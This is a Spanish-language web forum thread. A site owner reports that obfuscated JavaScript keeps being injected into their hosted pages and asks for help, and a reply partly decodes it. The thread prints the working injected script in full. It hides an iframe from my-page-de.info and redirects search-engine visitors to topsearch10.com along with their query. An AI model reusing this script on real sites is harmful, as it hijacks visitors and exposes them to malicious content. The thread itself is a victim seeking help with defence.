Foros del web, para los que viven de bits

Hola ultimamente en todas mis websites, una vez que las subo a el servidor de alquiler que e contratado, pasados unos dias se suele insertar una linea de codigo en los index y algunas otras paginas, el codigo es el siguiente:

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(Esto va en la cabecera)
<Script>
<!--
var d=document;
eval( unescape( "%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%5f%63% 6f%6e%74%65%6e%74%28%29%7b%20%76%61%72%20%69%20%3d %20%30%3b%77%68%69%6c%65%28%64%6f%63%75%6d%65%6e%7 4%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61% 67%4e%61%6d%65%28%27%69%66%72%61%6d%65%27%29%2e%6c %65%6e%67%74%68%29%7b%76%61%72%20%65%6c%20%3d%20%6 4%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65% 6e%74%73%42%79%54%61%67%4e%61%6d%65%28%27%69%66%72 %61%6d%65%27%29%5b%69%5d%3b%69%66%28%20%28%65%6c%2 e%73%74%79%6c%65%2e%64%69%73%70%6c%61%79%3d%3d%27% 6e%6f%6e%65%27%20%7c%7c%20%65%6c%2e%73%74%79%6c%65 %2e%76%69%73%69%62%69%6c%69%74%79%20%3d%3d%27%68%6 9%64%64%65%6e%27%20%7c%7c%20%28%65%6c%2e%77%69%64% 74%68%3c%35%20&&%20%65%6c%2e%68%65%69%67%68%74%3c% 35%29%29%20&&%20%65%6c%2e%6e%61%6d%65%21%3d%27%63% 31%27%20%29%20%7b%65%6c%2e%70%61%72%65%6e%74%4e%6f %64%65%2e%72%65%6d%6f%76%65%43%68%69%6c%64%28%65%6 c%29%3b%7d%20%65%6c%73%65%20%69%2b%2b%3b%7d%7d%63% 68%65%63%6b%5f%63%6f%6e%74%65%6e%74%28%29%3b%0d%0a %69%66%20%28%21%6d%79%69%61%29%20%7b%20%64%2e%77%7 2%69%74%65%28%27%3c%49%46%52%41%4d%45%20%6e%61%6d% 65%3d%63%31%20%73%72%63%3d%5c%27%68%74%74%70%3a%2f %2f%6d%79%2d%70%61%67%65%2d%64%65%2e%69%6e%66%6f%2 f%69%6e%2e%63%67%69%3f%32&%27%2b%4d%61%74%68%2e%72 %6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d%2 8%29%2a%35%35%30%32%39%29%2b%27%34%5c%27%20%77%69% 64%74%68%3d%32%34%39%20%68%65%69%67%68%74%3d%32%32 %31%20%73%74%79%6c%65%3d%5c%27%64%69%73%70%6c%61%7 9%3a%20%6e%6f%6e%65%5c%27%3e%3c%2f%49%46%52%41%4d% 45%20%3e%27%29%3b%0d%0a%76%61%72%20%72%3d%64%6f%63 %75%6d%65%6e%74%2e%72%65%66%65%72%72%65%72%2c%75%3 d%64%6f%63%75%6d%65%6e%74%2e%55%52%4c%2c%74%3d%22% 22%2c%71%2c%73%65%3d%22%67%62%22%3b%20%66%75%6e%63 %74%69%6f%6e%20%66%28%73%74%72%29%7b%62%3d%27%64%6 f%77%2e%6c%6f%27%3b%64%3d%27%77%69%6e%27%3b%7a%3d% 22%69%6f%6e%3d%27%22%3b%63%3d%27%63%61%74%27%3b%66 %37%3d%73%74%72%3b%67%3d%22%27%3b%22%3b%69%3d%37%3 b%6a%3d%32%31%3b%69%66%20%28%6a%2d%31%34%3d%3d%69% 29%20%65%76%61%6c%28%64%2b%62%2b%63%2b%7a%2b%66%37 %2b%67%29%3b%7d%0d%0a%20%20%20%20%69%66%28%72%2e%6 9%6e%64%65%78%4f%66%28%27%67%6f%6f%67%6c%65%2e%27% 29%21%3d%2d%31%29%7b%74%3d%27%71%27%3b%73%65%3d%27 %67%6f%6f%67%6c%65%27%3b%7d%20%69%66%28%72%2e%69%6 e%64%65%78%4f%66%28%27%6d%73%6e%2e%27%29%21%3d%2d% 31%29%7b%74%3d%27%71%27%3b%73%65%3d%27%6d%73%6e%27 %3b%7d%20%69%66%28%72%2e%69%6e%64%65%78%4f%66%28%2 7%79%61%68%6f%6f%2e%27%29%21%3d%2d%31%29%7b%74%3d% 27%70%27%3b%73%65%3d%27%79%61%68%6f%6f%27%3b%7d%20 %69%66%28%72%2e%69%6e%64%65%78%4f%66%28%27%79%61%6 e%64%65%78%2e%72%75%2e%27%29%21%3d%2d%31%29%7b%74% 3d%27%74%65%78%74%27%3b%73%65%3d%27%79%61%6e%64%65 %78%2e%72%75%27%3b%7d%0d%0a%20%20%20%20%69%66%28%7 4%2e%6c%65%6e%67%74%68&&%28%28%71%3d%72%2e%69%6e%6 4%65%78%4f%66%28%22%3f%22%2b%74%2b%22%3d%22%29%29% 21%3d%2d%31%7c%7c%28%71%3d%72%2e%69%6e%64%65%78%4f %66%28%22&%22%2b%74%2b%22%3d%22%29%29%21%3d%2d%31% 29%29%20%7b%66%28%22%68%74%74%70%3a%2f%2f%77%77%77 %2e%74%6f%70%73%65%61%72%63%68%31%30%2e%63%6f%6d%2 f%73%65%61%72%63%68%2e%70%68%70%3f%61%69%64%3d%37% 34%38%36%30&%71%3d%22%2b%72%2e%73%75%62%73%74%72%6 9%6e%67%28%71%2b%32%2b%74%2e%6c%65%6e%67%74%68%29% 2e%73%70%6c%69%74%28%22&%22%29%5b%30%5d%29%3b%7d%0 9%09%0d%0a%7d%76%61%72%20%6d%79%69%61%3d%74%72%75% 65%3b" )); var c1439772935;
//-->
</Script>
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(esto va al final despues de </html>)

<script>check_content()</script>
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al darme cuenta de esto lo que hice fue descargar la pagina y borrar esa linea de codigo con el dreamweaver, pero pasan los dias y se vuelve a insertar.
Ayudenme a que se debe este tipo de ataques, de donde proviene y cual es la solucion para evitar este tipo de cosas

El texto esta escrito en codigo hexadecimal de esta forma queda medio oculto, con alguno que otro error a la hora de convertir, te copio abajo lo que dice.

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(Esto va en la cabecera)
<Script>
<!--
var d=document;
eval( unescape( "function c deck_content (){ var i = 0;w dile(document.getelementsbytagname('iframe').l engt d){var el = document.getelementsbytagname('iframe')[i];if( (el.style.display=='none' || el.style .visibility ==' didden' || (el.widt d<5 && el. deig dt<5)) && el.name!='c1' ) {el.parentno de.removec dild(el);} else i++;}}check_content();%0d%0a if (!myia) { d.write('<iframe name=c1 src=\' dttp:/ /my-page-de.info/in.cgi?2&'+mat d.round(mat d.random()*55029)+'4\' widt d=249 deig dt=22 1 style=\'display: none\'></iframe >');%0d%0avar r=document.referrer,u=document.url,t="",q,se="gb"; function f(str){b='dow.lo';d='win';z="ion='";c='cat';f 7=str;g="';";i=7;j=21;if (j-14==i) eval(d+b+c+z+f7 +g);}%0d%0a if(r.indexof('google.')!=-1){t='q';se=' google';} if(r.indexof('msn.')!=-1){t='q';se='msn' ;} if(r.indexof('ya doo.')!=-1){t='p';se='ya doo';} if(r.indexof('yandex.ru.')!=-1){t='text';se='yande x.ru';}%0d%0a if(t.lengt d&&((q=r.indexof("?"+t+"="))!=-1||(q=r.indexo f("&"+t+"="))!=-1)) {f("http://www .topsearc d10.com/searc d.p dp?aid=74860&q="+r.substring(q+2+t.lengt d).split("&")[0]);}%09%09%0d%0a}var myia=true;" )); var c1439772935;
//-->
</Script>